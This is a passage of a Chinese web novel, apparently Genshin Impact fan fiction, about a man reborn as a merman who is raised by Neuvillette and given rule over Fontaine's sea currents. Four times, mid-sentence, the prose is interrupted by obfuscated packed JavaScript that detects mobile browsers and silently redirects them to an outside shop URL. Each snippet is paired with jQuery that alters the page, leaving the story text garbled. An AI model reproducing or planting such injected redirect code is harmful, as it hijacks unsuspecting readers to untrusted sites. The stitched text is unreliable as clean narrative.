牛头不对马嘴的沟通竟然在某种层面完成了交流,总之,当爷爷收拾好东西准备带人鱼区海边放生的时候,静原只是对爷爷伸出的手略微惊讶了一会,然后从善如流的把手搭上去,被爷爷抱着的时候相当规矩。 静原想起了自己的爷爷,很小的时候,当她还是个小姑娘的时候,也被爷爷抱着走过的。 木屋距离海岸很有一段距离,爷爷的手臂很有力量,抱着一条比成年男性还要重的人鱼走完这段路也只是多喘了几口气。 爷爷把静原放回海水中,看着对方仰起的脸,莫名想到了那个身处王都的儿子。 “回去吧,回去吧。岸上不是你的归处。”爷爷只当这条过分温顺的人鱼是被贵族圈养长大的,不忍这类美丽的深海生灵失去自由,“你的家在海洋,不要再上岸了。” 王朝的大调律师在群岛上不断宣扬黄金国度的乐章,一切都是为了存护雷穆斯王那延续帝国千年的美梦,于是魔石为身,灵露为血,以此容纳凡人的灵魂……越来越多的人们被制作成为只有依靠黄金乐章曲调才能活动的魔像,其中就包括了他那个愚蠢的儿子。 他可怜的塔塔的父亲。 作为那所谓的不和谐的音符,爷爷并不愿意让儿子的愚蠢祸害他可爱富有生机的孙女塔塔,所以他们逃离了王都,来到了雷穆利亚王朝未能征伐的小岛生活——同那些不和谐的音律一起。* 魔像依旧渴求着生机与活力,他们探寻深海,找到了这样美丽的生灵并圈养,试图寻找到人类与海洋共生,不再受困于那个诅咒的办法……这个可能性很高,爷爷不敢去赌,他只是希望这样的生灵远离岸上的荒谬协奏。 “回去吧,不要回头。” 静原此时并不知晓这样的社会背景,他只是深深的看了看爷爷和塔塔的长相,又记住了木屋所在的位置,扭头扎进海中,很快消失在了人类的视野中。 重新回到海洋,心境到底是和当初不一样了。静原依旧不会游泳,唉声叹气地任由大尾巴带着自己落入海底。 肚子还是有点饿,换了个身体连带着饭量都大了不少。静原坐在珊瑚与砗磲构造的海床上,看那些色彩鲜艳的鱼类在珊瑚丛中来回游动,无忧无虑好不快乐。 静原:“……好嫉妒……” 好想吃掉这群天天傻乐的鱼。 但是一上来就生啃鱼,难度还是太大了。 于是静原抓了一只螃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326987|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟹来——这边的鱼虾蟹类一看就是没遭过人类毒手,天敌甚少,傻乎乎都不知道跑。 某些事一旦开了头,曾经的坚持也没那么不可动摇了。 静原叼着货真价实不掺一点淀粉的蟹棒在这一片到处扣贝壳牡蛎捉螃蟹和鱼虾,不得不说,人类的上肢简直就是为了更好的捕食而生的,灵活性不要太好,各种角落都能伸出手指去掏掏。 几只海獭本来是习惯在这片觅食的,见到一个陌生的捕食者扒着海床觅食,好奇心极重的小生灵们纷纷聚过来看热闹。 静原:“干嘛,想抢饭吃?” 海獭们歪了歪脑袋,不明白他在说些什么。静原叹了一口气 ,觉得自己可能要去憋出毛病来。 人类找食物的本领那是一等一的,自打把海产品列入食物清单,静原觉得如果他下限更低一点,抱着这些海獭啃也不是不行,就当换个口味。 “我觉得我要退化了。” 他这样自言自语着,把蟹腿根根拆开塞嘴里,虾剥壳剔虾线塞嘴里,海草塞嘴里,牡蛎掰开壳塞嘴——对不起他还是有点没法接受这种软兮兮的东西入口!! 静原一边吃一边呕,几只海獭抱着贝壳在旁边看着,小小的脑袋里装满里大大的疑惑。 离开了人类社会更加挑食的静原勉强吃了个半饱,丢下那些扒拉出来但一口未动的贝类爬到远处的柔软藻类丛中睡觉。 吃饱了睡,睡饱了吃,人生——啊不鱼生就是如此。 “真是遭老罪了,没得衣服穿,也没得火烤。唉!!!”他仰躺在海藻林中,那几只捡了自己剩饭填饱肚子的海獭围在旁边互相顶贝壳,欢乐的气氛看得静原眼热,有点想把这群讨厌的家伙赶出去。 最后还是放任海獭们在身边像水猴子一样闹腾的玩。 静原脑瓜子嗡嗡的。 第二天周围没看见什么螃蟹,捉了几只虾囫囵塞嘴巴里,海獭们跟在身后,见他开始扒拉贝壳螺类也跟着去扒拉。静原拿着薄薄的贝片去撬开牡蛎贝壳,开完后做了半天的心理建设工作,运气再运气,还是没吃,最后全便宜了海獭。 莫名其妙变成了他开贝壳给海獭们吃的情况。 静原:“……” “喂!你们这群家伙又不是我生的!我不管饭,自己找吃的去!” 本来吃不好就生气,看这群小东西吃的香更来气了。他就是狠狠嫉妒了!! 几只海獭见他生气,像模像样的思考了一下,然后把自己送到静原怀里,伸展它们身躯展示油光水滑的皮毛——非常热辣大胆。 “……海獭师父,你之前是做正经工作的吗?”静原虽然嘴上这么说着,手上撸海獭的动作却没停,挨个呼噜呼噜完,然后认命般给它们开贝壳。 海獭如果有人的思维,估计会说:耶,傍上了人傻力气大的怪鱼,再也不用费劲巴拉的敲贝壳了。 只有静原气哼哼的世界达成了。 5. 帅哥你谁? 从此静原过上了养五只海獭的胡吃海喝生活。 每天的流程如下: 睡醒后胡乱抹一把脸,海獭则飘在海藻林上的水面认真给自己洗香香。静原爬出去找食物唉声叹气的往嘴里塞,海獭跟在后面捡漏吃得肚皮溜圆,等静原咕涌回来躺在海藻丛林中睡觉,海獭们就互相顶贝壳玩,在海藻林里闲逛的同时警戒外来捕食者的侵扰,还会浮上海面梳理皮毛确保保暖性。 这群海獭显然是一起生活的小团体,分工明确,但是自打吃过了一餐丰盛的自助餐后,就盯上了提供自助餐的冤大头——挑食的静原。 块头很大,面对小型生物天然具有威慑力。前肢长,柔软且灵活,能够轻易找到丰富的食物,是非常优秀的捕食者——虽然下肢行动略显笨拙。 最关键的一点是,非常慷慨。 慷慨的首领在哪里都受欢迎,它们几个只用和首领进行例行的皮毛梳理,帮睡觉的首领警戒环境就好。首领会帮它们梳理毛发,摸得很舒服,还会提供丰富的食物,甚至不需要它们自己砸开贝壳…… 不知道自己变成了这几只海獭的首领,静原只当自己投喂里一群野生动物,就这么糊里糊涂的把日子过下去了。 自打他不再抗拒海鲜入口后,哪怕不会游泳行动不便,这片海域也是任由他称王称霸。生活的一些章鱼海马鳐鱼蝠鲼都不禁他一巴掌扇过去的,虽然静原的食谱上没有这些生物。 大型的鲸鱼路过次数很少很少,一些海龟时不时游过,鲨鱼之类的生物倒是没有。静原没有天敌,每天都睡得踏实得不得了。 他抽空把一些吃剩的贝壳打磨得相当锋利后,自然而然的把目光放到了海鱼身上。今天随手抓了一条鱼,刮去鳞片剖开肚子丢掉内脏,脑袋掰掉,鱼肉撕成一条一条的就这么往嘴里塞。一开始还会控制不住的呕吐,后来也就被恶心习惯了。 “我真的要成野人了。”静原一边吃饭一边感叹,这条鱼依旧没吃完,多的部分全喂了海獭和这里生活的几窝螃蟹。 难道这种日子还要过下去吗? 静原不知道。这种一眼望得到头的日子实在没有奔头,但是又没有理由不活下去。将就将就得了——他这么安慰自己。 直到那一天,意外出现在了生命中。 他睡醒后就和下潜的海獭们准备去找饭吃,谁知道原本入目蔚蓝青绿的海域里出现了除海洋动物以外的第二个人形生命。 真的太显眼了,一身纯白,腿晃荡着——静原看到了对方的双腿,纯白的简易服饰穿在那人身上,白色长发在海水中漂浮,头顶俩发光蓝色——话说这配置莫名有点眼熟啊。 但是静原仍然没有联想到正确的地方去,他凑近了一点,看到了对方如同琉璃般美丽的眼睛。 静原长了张嘴,半天没发出声音,几近失语,细密的水泡缓缓上浮,然后破裂。 他们四目相对,静原干笑两声率先打破平静:“帅哥你长得好像我认识的一个人啊。” 如果只是有白发俩蓝条,以及琉璃色眼睛的特征,他还不会贸然把这人对号入座。 但是他看到了什么?这人眼睫毛有一缕是蓝色的啊! 游戏角色那维莱特建模也有一撮蓝色眼睫毛!不是,这么巧的吗? 曾经欣赏了手头抽到角色“那维莱特”盛世美颜的静原当然熟悉那张二次元建模脸,虽然如今变成另一个世界的三次元了,但是一看到相似的特征就会记起来啊! 静原后知后觉,这几天看到的海獭也是白脸蓝皮毛,曾经被网友戏称为那维莱獭。 好好好,原来这是那个坑死人的游戏的世界。 静原悲从中来,他以前在枫丹海域探索的时候也没见过海龟鲸鱼啊,要不然第一时间就能确定自己在哪个世界了,还用得着打消猜想不知身在何方吗? 害的他真的以为自己是在小美人鱼的世界。 那维莱特看着眼前的少年,对方有着一眼望到底的澄澈湖蓝眼睛,身上熟悉的气息有些淡了,但足够那维莱特判断出这是与他一同从原始胎海中诞生的“同类”。 作为众方水族的王,那维莱特甫一诞生就明白了自己身份,他感知到了附近一同被孕育的新生命,还没适应心底涌现的陌生温暖情绪,那个新生命就同他失去了联系。 原始胎海因为自己的诞生,为了重新迎接祂的“心脏”,迫切的想要与“心脏”靠近,于是挤压了外界水流的空间,这片海洋原本存在的不规律暗流涌动着,将那个脆弱的新生命裹挟着远去。 而这些都是那维莱特后知后觉明白的,他离开了诞生之地的那片海,不知晓自己为何以如今的模样诞生,也不明白自己要去往何方。想到了那个离开诞生地的生命,于是那维莱特踏上了寻找对方的道路。 虽然中途又遇见了乱流,经过了数日的寻找,大海捞针,终于凭借稀薄的气息与联系找到了对方活动的地方。 幸好那个生命依旧鲜活。 那维莱特注视着对方的面容,轻声询问:“你是谁?我新诞生的同族吗?”他自己也不太确定,所以想从对方口中获得答案。 静原:“啊?” 静原:“你说啥我听不懂。” 他真的听不懂对方使用的语言,只能模模糊糊理解其中一点意思。 这人大概就是问,你是我的同类吗? 当然不是啊,你是龙我是鱼这个物种就不一样哪能是同类啊。 那维莱特不知明白了什么,对静原伸出手自问自答:“我能感受到你身上的气息很熟悉,是和我一同诞生在原始胎海的新生命。既然如此,应当是我的同类。” “你独自生活了太久,还没到应当独立的时候。要跟我一起生活吗?我愿意尽到教导你的职责。”那维莱特补充了一句,“我想这就是我的责任之一。” 他是水族的王,统治水族,又守护水族。眼前的生命更加特殊一些,明明是幼年期,却有着和自己类似的上半身,同时保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326988|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着水族常见的鱼尾姿态。那维莱特不禁联想到水族进化的方向,也许眼前的生命就是进化途中出了差错,或者是一个新的物种……他并不能确定。 眼前的生命对自己率先表达了亲近,和他一样对诞生之初的彼此有着微弱联系吧……在外漂泊太久,所使用的语言并非水族共用的语言体系。 那维莱特思考了许多,难免对静原多了几分他自己都不清楚的怜爱。 静原不知道那维莱特想了些什么有什么考量,但不妨碍他把手伸了出去,就像曾经面对人类的那位老人一样。 静原从不吝啬自己的信任。 而且,他确实信任“那维莱特”这个角色。 家里唯一的水c啊,曾经陪她征战深渊探索世界以及带萌新的“那维莱特”啊。对前生的静原来说,那就是游戏里的沉稳好大儿啊。 静原想起来的越来越多了,但都和那个游戏有关——原批恐怖如斯。 那维莱特说到做到,开始教导静原他们本就应该知晓的知识,掌握他们本来就会的技能。 首当其冲的就是语言以及游泳。 那维莱特以一种引导者的方式牵静原的手:“虽然不知道为何你不会水族天赋之一的游泳,也许是和诞生那刻涌动的冰凉海水刺激有关吧,尾部失温难以控制……没关系,会好起来的。” 静原很努力的在听,他对于那维莱特的话更多是一种直觉上的理解,而非听懂词汇语句。他能理解那维莱特在教自己游泳,因此学得很认真——拿出了当年在学校听老师讲八卦的精力。 温暖水流裹挟着静原的尾巴,他逐渐感受到尾巴传来的温度,之前都像是僵死了一样,根本使不上力气只能拖行。 在那维莱特平静的目光鼓励下,静原尝试扭动尾巴尖调动尾巴做动作,这感觉很奇妙,好像下身还是双腿的时候,他做瑜伽控制腿部肌肉那样。 那是自然而然就能掌控的一种对身体的驱动,那是静原本来就应该掌握的。因为一场意外,尾巴无法顺他的心意而动。 “难怪我怎么都游不动,原来尾巴真的受冻失去知觉了啊。” 静原看着自己的尾巴,头一次觉得它漂亮。 鱼类会游泳那简直就是天赋技能,出生起就直接拉满。静原的尾巴恢复正常后,他学会游泳简直就是理所应当一气呵成。就是姿势有点怪异,那维莱特帮他调整了体态,好让游动更加顺畅自如。 然后是语言。 那维莱特现在所使用的语言应该算是龙族通用语的一种吧,其他附属水族都能和静原一样理解他要表达的含义,但是没有谁会去主动学顶头老大的族类语言。对于高傲的龙类来说,应该称得上是一种僭越。 但是那维莱特主动教就是另外一回事了,尽管他本龙没有长辈同族教,不能明白自己所使用的语言有何特殊。 对那维莱特来说,既然眼前的孩子听不懂自己的话,那就教给他这门语言好了。 仅此而已。 6. 老大给工作了 今天的课程是语言教学以及捕猎指导。 那维莱特自身定位存在足够特殊,他不需要血肉的滋养就能自行发育生长,但是他知道这个和自己同龄的眷属过于懵懂,需要教学指导。 “先演示一番你平时是如何捕食的吧。”那维莱特这样说。 静原收到那维莱特老师的旨意,颇有种学生时代被点名上台做题的紧张。他看了看周围,熟门熟路的找到虾蟹窝,然后伸手掏。很快掏出来大把的螃蟹和鱼虾,然后捧到老师面前等他评价(夸奖)。 那维莱特:“……你平时都是吃这些吗?” 对方的眼睛闪亮亮,似乎是在等待夸赞与嘉奖……好吧,他从小就离开了温巢,没有人教过他捕食,也没有觉醒传承的记忆。自己应当好好教导的。 “鱼虾的营养并不足以供给你身体所需,你需要捕捉富含脂肪的大型生物进食,这样尾巴才能储蓄脂肪御寒。鱼油可以明目,吃一些海鱼可以提高你的夜视能力。”那维莱特看过他的吃饭方式后总结一句,“你太挑食了。” 静原沉默过后,不情不愿的往嘴里塞鱼类脂肪,粘腻且油滑,好像在吃猪的淋巴肉似的。静原强忍着恶心往喉咙里吞,舌头却往外推,遏制不住的反胃干呕,恶心的要死。 并不能理解这种进食困难症的那维莱特看了许久,见静原确实在缓慢的往嘴里塞食物,没有再刻意保持半饱后,他长吁一口气。 在自然界吃不饱的幼年生物很容易夭折,他并不希望这个从出生就遭遇波折的孩子过早的回归诞生之海的怀抱。 但是那维莱特看着静原吞咽的实在是难受,心中不忍:“我会去寻找一些更符合你口味的甘露纯水……好了,不用这样勉强。” 静原立刻放弃吞吃脂肪,嚼着蟹棒清理口中粘腻。 我就知道会哭的孩子有糖吃这点在哪个世界都通用——静原在心底感叹。 和静原此世年龄相仿的那维莱特还没有修炼出后世那番明察洞悉的智慧,孩子不愿意吃就不吃吧,找点对方能接受的口味的营养品……那维莱特自己也不怎么喜欢吃脂肪。 他不应当这样苛刻要求对方为了强壮身躯勉强进食的。 想明白了这点的那维莱特带着静原去寻找纯水之地,获取甘露与灵露。丰沛水元素力也能充当对方的食物。 静原对于喝水这事并不抵抗,每天都在那维莱特的注视下吨吨吨大口喝水,肚子竟然也能饱。 后来彻底掌握这门语言的静原才明白喝的是纯水灵露,对于水族来说,应该是大补的营养品。给新生儿吃强身健体,身体倍棒…… 所谓仓廪实则知礼节,衣食足则知荣辱。静原吃得饱睡得好,跟在那维莱特身后活得不晓得多快乐后,自然而然就产生了要找衣物遮蔽身体的想法。 他问那维莱特身上的衣物哪来的,他也想做一套。 那维莱特有些诧异:“原来你是想蔽体的吗?” 静原:“啊?” 难道你以为我不穿衣服是因为不想穿吗? 那维莱特真情实意的反问:“难道不是?”他真的是这么觉得的,并且尊重对方的喜好。 才没有啊!我是没有衣服穿啊!在海底哪来的衣服?还不如找根海带围身上呢! 那维莱特沉默过后,开始指导静原运用水元素力“编织”衣物着身,纯白是世界的本色,因此多数元素力外溢变化的服装都为白。 静原听得两眼放光,末了游到旁边去给自己做衣服玩。 那维莱特相当放任。孩童玩乐是天性,作为水族的王,对子民抱有更多宽容也是王的修行…… 其实只是溺爱吧。 等静原给自己做了上衣屁颠屁颠回来后,那维莱特开始例行教学。 海底的时间过的飞快,静原跟着那维莱特过日子又没有明确的时间观念,一个教一个学,进步也飞快。 等那维莱特提出给静原取名的时候,后者忍不住发问:“我这算是出师了吗?”得到水龙王的教导也算是一份殊荣。 那维莱特颔首:“我已经没什么可教导你的了,你学得很快,也很好。能教导你,我为此而产生了温暖的情绪。” “是高兴吧?” “……也许是高兴。”那维莱特正处于理解自身情绪的时期,对于学生偶尔冒出来的词汇接受良好,“或许也有一些欣慰。说回正题,我给你取名如何?如果你愿意的话。” “可以啊。”静原摆摆尾巴,前生的名字并不适合用在这个国度,那维莱特作为他的教导者,起一个新名字也是应该的,“我很期待。” “卡吕普迪斯。如何?”那维莱特想到了学生的天赋,“意味主宰海之漩涡之人,你生来就具有操控旋流的能力,我想这个名字很合适。” 五个字唉。 而且和奥赛尔是不是撞设定了。 静原点点头:“好,以后我就叫卡吕普迪斯了。那你呢,我要如何称呼你?” 他很好奇那维莱特的全名,【那维莱特】只是这家伙的姓氏。 水族的王沉默了一瞬,然后开口:“称呼我的姓氏那维莱特就好。我的全名……不适合被人知晓。” “因为呼唤你的全名,无论多远你能听到吗?”静原不懂就问,大胆猜测。 那维莱特:“可以这么解释。而且你将名字交付出去的话,也会有这样的感受。” “有点奇妙。”静原说,“但我想我不会讨厌。” 其实你最后讨厌得不得了,只恨自己怎么大喇喇的把名字告知出去了。以后枫丹海域起了风浪就会有数不清的人喊你救命,哪怕你正在海底睡觉也会被强行叫醒加班,怨气比鬼还重。 当然,目前的静原并不知晓他的悲惨未来,正对那维莱特交给他的新任务而苦恼。 “为海中无主的洋流制定规则吧。让它们有条不紊的履行自己守护的职责,维系海洋的生机与活力。”那维莱特在离开前这样告诉,或者是吩咐静原,“这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326989|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你与生俱来的能力,我相信你一定可以做好。” 静原直拍胸膛:“保证完成任务。” 一定不负那维莱特老大的嘱托! 那维莱特轻轻点头,最后一次教导静原使用这份血脉的力量,然后离去。 他并没有告知静原自己为何离去,也没有约定下一次见面是什么时候。静原是没意识到这个问题,他则是知晓他们还会再见。 海洋的确广阔无边,也许人类在短暂相遇后分别很难有机会再见。但是他们不一样,源水之地诞生的生命拥有漫长的寿数与时光,他们对于外界时间的流逝并不敏锐,对于分别也很豁达。 毕竟只要活着,总会再次相见。 那维莱特一走,静原迅速躺平。 水龙有句话说的很对,操控海洋旋流是他的天赋,闭上眼睛用心感受,枫丹所有水域就像游戏里被点亮神像地区的地图那样,不规则的分布一览无遗。他能清晰的“看到”那些在地图上行动的漩涡与洋流。 高中地理学的那么一点知识他基本都还给老师了,目前只记得冷暖洋流交替会让渔业资源会更加丰富。那么就选几个地方让冷暖洋流交汇,枫丹人会自己发现并且围成鱼场的……远海的洋流应当有规律的随着季节迁移活动,或者一直停驻于此,形成动能的循环……啊,对了,原始胎海。应该有一部分海底暗流守护着大地深处的原始胎海,时刻警戒,以防原始胎海失控,以及那头鲸鱼钻进海里乱吃。 静原把自己记得的东西都一样样安排好,然后就开始围绕着海岸活动,想看看如今的枫丹是什么模样。 以及,那对人类爷孙俩如今怎么样了。 静原想到这里,突然一个鲤鱼打挺蹦起来,开始回忆洋流在海中多年的“记忆”。水能够承载世界的回忆,静原能看到旧日古国的文明陷落,能看到王朝船只在暴风雨中沉没,能看到装载货物与摩拉的木箱倾泻,也能看到珍珠贝体内蕴藏的珍宝*。 他控制不住的产生一个想法。 发财了。 静原在海中游荡,用海露花编织成篓子收集沉船处的宝石与钱币。摩拉当然是多多的,璃月自古强盛,贵金之神以血肉为人类的血汗担保,摩拉自璃月流通七国,畅行无阻。枫丹海域从前的王朝统治者也与璃月通商,摩拉自然是有的。 沉船年代越近,能看到其中的泡发了腐朽的丝绸布料残留,能看到破碎的精美瓷器,静原能认出那是自璃月而来的商船。叹气良久,什么财富也没带走,只把其中腐朽化为白骨的躯体打捞起,送到了枫丹与璃月的交界处。 无需多言,他便知晓此处有着无形的边界线,线之后就是璃月的国土——也许是魔神之间的地域划分吧。 静原良心未泯,或者说是多管闲事。依据沉船的规模制式判断船员所属哪国,枫丹的不动,璃月须弥的就都打捞起白骨,送到了各自国家的水域深处,回家也能保持宁静。 静原把家里收拾了一通,又开始去寻宝了。 7. 黄金之国的乐章 静原并不知晓如今的枫丹处于什么时间,大体上应该还没有到五百年前的坎瑞亚灾变时刻*。 毕竟远方还没有万种母树的身影。要知道枫丹地区的海拔因为一些不知名的原因,整个地壳都被抬起,看到周围国家的大型景观不要太容易,尤其是和须弥璃月边界有着绵延数千里,高达三百多米的巨型瀑布奇观——静原第一次见到实况的时候简直惊呆了,远比游戏建模来得冲击大。 他不怎么为难自己,想不通就不想。等收集到了满满一兜子的珍珠宝石与黄金,都是没有明显印记印章的。准备好一切之后,他踏上了寻找当初结识的人类爷孙的道路。 不知过了多久,他勉强锁定了一个地方。 记忆中应当是沙滩的地方如今已经变为高崖,青绿草地上蝴蝶蹁跹,香柏树林葱茏一片。 静原围绕着这海岛转了好几圈,也没找到合适的上岛之路。 他在海中翻腾,潜到深处,然后向上奋力冲刺,希望能借助惯性把自己送到海崖上,然而最后只是在海崖前晃荡了一下,重重的摔回海里,浪花四溅,两眼冒金星。 “果然还是只能这样啊……”静原抱着那兜子珠宝,开始召唤海浪。 要怎么描述召唤海浪这个举动呢?对于人类来说,大概就是家里养了一只听话的小狗狗,你需要它的时候,呼唤它,它就会来到你的身边,亲昵的蹭蹭你的腿。 于是这座无名小岛上,海浪骤然席卷至海之崖的上方,并且神奇的保持了这个姿态一段时间。浪尖上竖着一尾人鱼,正在俯瞰小岛的全景。 “木屋呢……啊,在这。怎么回事?怎么塌了半边?”这个发现显然让静原有些焦虑,尾巴尖止不住的拍打海浪,海浪感受到了主人的心情,也跟着应和,于是浪潮冲击海岸线,不断吞噬这座海岛。 静原觉察到这一点紧急叫停:“好了好了,我慢慢找就是了,别冲动。” 海拥护祂的主人,也深爱祂的孩子,静原作为被水族之王那维莱特赐名的【卡吕普迪斯】,已经拥有了统御海族的能力。养育他的枫丹海天然拥护他的一切行动与命令,其中也包括了感知他的情绪,并且为之宣泄。 要如何处理自己的情绪,也是静原作为卡吕普迪斯必须学会的修行。 那维莱特就没有这个烦恼,他的情绪通常是平和柔软的,对于水的掌控力也远超静原这个半路出家的。 话说回来,静原平复了海浪后围绕着海岛继续转圈,他从海底拖来一只死去的砗磲,大力出奇迹,把海露花编织的兜子塞进去,尾巴坐上去压平,最后把砗磲藏在海崖下方的洞窟里,摆着尾巴离去。 岛上已经没有人居住了,小木屋年久失修,那对爷孙不知道去了何处,静原依旧做好打持久战的准备。 这个时候必须提起之前懵懂时期围着他的五只海獭了。 从他屁颠颠跟着那维莱特离开后,那群海獭就没有留在他身边,而是继续在那片海藻林生活。静原想要故地重游,海藻林也得去一趟。 但是海獭比人更难找,毕竟静原不太能分清每一只海獭的长相,所以你可以看见一条人鱼扒开目光所至的每一处海藻,给人家栖息于此的海族吓得一抖,又拍拍屁股离去。 好恶劣。 静原在海底横行霸道这么久,也没有被谁制裁。那些生性害羞的鲸群生活在更为广阔的远海,和总围绕着海岸线活动的静原几乎是错开行动的,于是海族里只有鲸群没有被他祸害过。 他闹腾起来连路过的海龟都要被转几圈,卧沙的蝠鲼被一尾巴挑起,急速游动让行过途中的海马章鱼晕头转向,几只无辜的海獭被他抓住,惊恐的任由这位爷上下其手,被放走的时候慌不择路,连最喜欢的小贝壳和老婆都不要了。 “跟着我的那群海獭胆子可大了,胆小的可以全部排除。”静原放松身体任由自己缓缓下沉,叹气,“怎么想找老朋友叙叙旧都这么难啊。” 无人回应他的话,人鱼躺在藻类形成的青绿软垫上,他以前最喜欢躺在这里享受温暖的日光,海獭们会飘在海面慢条斯理洗香香,梳理皮毛。有的梳理完自己和同伴,就会钻进他的头发里和他一起睡午觉。 那的确是一段安逸的时光。 静原久违的感到了寂寞。 洋流在他制定的规则下,把守海底各个通路,在原始胎海附近形成反向的涡流,把靠近的生物裹挟着离开,扰动海水为鱼群提供丰沛浮游生物为食……如今的旋流都很安分,不需要他时刻盯着。 想要找的人没找到,想要找的海獭也没有影子,静原没法上岸乱跑,对于海底的探索也兴致缺缺——宝石珍珠摩拉再多,于他而言也无用。 得给自己找点事做。静原这样想着,然后磨起了贝壳刀。 海底藤壶清理组织中心第一天开业,反响惨淡。这片浅水海域被他嚯嚯过的生物远离他还来不及,哪能真凑过去? 静原等了两天恼羞成怒,终于在第三天逮住了一只海龟,强制它做自己的客户。这只海龟也真是惨,所有同族都避开了这片浅水区,只有它为了抄近路不得已经过,真的和传闻中一样,被盘踞于此的大魔王抓住蹂躏了。 咦?这次没被当成球拍晕了? 海龟伸长了脖子想要看看大魔王在干什么,谁知静原看到了它从龟壳里伸出的脑袋,空出一只手推回去:“别凑热闹,刮完就能走。” 于是海龟只能等待。等啊等,一直等到大魔王松手,它才慌不择路游出去,却感受到背上松快许多。 静原对第一个客户跑单没有看法,反正他也只是给自己找点事做。真要抓回来,也只剩伸伸手的事——海龟游速太慢了。 挖下来藤壶基本丢给螃蟹吃了,他记得螃蟹是吃藤壶的。 静原清理藤壶其实没用到贝壳刀,真正实操才发现他的手比刀具好用太多,力气还大,扣一扣,再坚硬顽固的藤壶也得被捏碎铲下来。但要是扎根过深,一起挖出来的可能还有被寄宿生物的血肉。所以静原处理速度会刻意放慢,就是为了不伤筋动骨。 第二个客户还是一只海龟,依旧是强买强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326990|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖,强行抓住路过的海龟,慢慢铲掉寄生在它身上的藤壶。 “怎么还长屁股和嘴边了……真是不讲究。”静原一边处理一边吐槽,也是自己跟自己讲话,“跑什么跑?拖着这么重的藤壶尾巴还想跑多快?你都要游不动了。” 奇了怪了,在游戏里也没见过被藤壶折磨的生物啊。怎么成为真实世界后这些现实问题全跑出来了。海龟的确是被藤壶寄生的冤大头,这个问题在哪都得不到解决啊…… 目前就只有这两只海龟经过了,静原把藤壶掰开喂了螃蟹,又开始当海洋街溜子。他到处找海龟挖藤壶,没过多久,这个消息就随着水传到了海域各地,这群海龟倒是不跑了,开始安逸享受起来了。 静原打着哈欠挖藤壶,然后把藤壶外壳拍碎露出其中的肉芽,螃蟹吃不完就扔到海岸边喂鸟。主打就是一个不浪费。 你真的好意思说自己勤俭不浪费吗? 挑食挑出名的静原:“……” 现在静原每天的流程安排如下: 早上睡到自然醒起床,随手薅一些海草汐藻牡蛎当早饭,检查洋流游动有无问题,检查原始胎海外的漩涡封印有无松懈。 上午找海龟清理藤壶喂螃蟹,去海崖看看有没有人烟。抓几条鱼填饱肚子,晒一会日光浴,睡个午觉。 下午跑到远海见鲸鱼,清理鲸鱼体表三分之一的藤壶,然后回到海崖。坐在悬崖上等可能回来的人。 一直等到夜晚星星闪烁,一切生物都陷入梦乡安睡,人鱼才一头扎进海中。 静原不知晓年岁过去几何,他坐在海崖上,能看到远处的人类国度辉煌高大的建筑,音符顺着风的方向蜿蜒流淌。 那大概是枫丹前身的雷穆利亚王朝吧。那个传说中把人民做成魔像,用音律规定子民行动以此逃过预言的雷穆斯王,现在应该还在继续他的反抗计划吧。 但是那都和静原无关。 大海告诉他:在众水尚未汇流的年岁,黄金的权威如汹涌的海潮漫卷,钢铁军团所至之处,蛮族尽数臣服。 黄金国度的王为了避开沉没的预言,做出了诸多愚行:魔石为身,灵露为血,以此容纳凡人的灵魂。饰金的邦国之中不再留存鲜活的□□,随着至善谐荣的黄金乐章而动,不朽的舰队四处征伐,容纳或者剔除各地不和谐的音符。 黄金国度的王坚信,只有剔除会被溶解的肉身,地上的城邦与领悟了原初规划而谱写的乐章协同共奏,才能逃离无理的命运审判,无惧回归莽荒的诅咒,抵达美好的未来。 然而盛衰更替,无物无常。 海的叹息随着浪花飞溅而散,听完海的诉说,静原在心底默默补上了如今还未终结的庞大王朝必定抵达的结局——沉默的魔像仍然做着帝国延续千年的美梦,殊不知帝国湮没已有千年。 命运最擅长利用反抗它的手,去推动既定命运的降临。无论逃避还是直面,都残忍到让人无法接受,唯余遗恨千年不消。 这就是原初之人制定的秩序。静原对此并不表态,唯余缄默。 8. 